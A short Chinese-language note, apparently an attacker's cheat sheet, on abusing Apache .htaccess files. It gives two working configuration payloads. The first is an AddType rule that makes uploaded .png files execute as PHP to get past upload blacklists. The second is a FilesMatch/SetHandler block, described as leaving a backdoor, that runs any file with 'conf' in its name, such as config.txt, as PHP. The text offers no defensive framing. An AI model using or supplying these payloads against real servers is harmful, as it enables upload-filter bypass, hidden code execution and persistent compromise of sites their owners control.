.htaccess文件解析php

1.黑名单绕过

上传.htaccess文件至网站根目录

内容为

AddType application/x-httpd-php .png

把.png文件后缀解析为php

2.留解析后门

可以在.htaccess 加入php解析规则

类似于把文件名包含特定字符串的文件解析成php

.htaccess内容为

<FilesMatch "conf"> 
SetHandler application/x-httpd-php 
</FilesMatch>
这样config.txt这个文件就会解析为php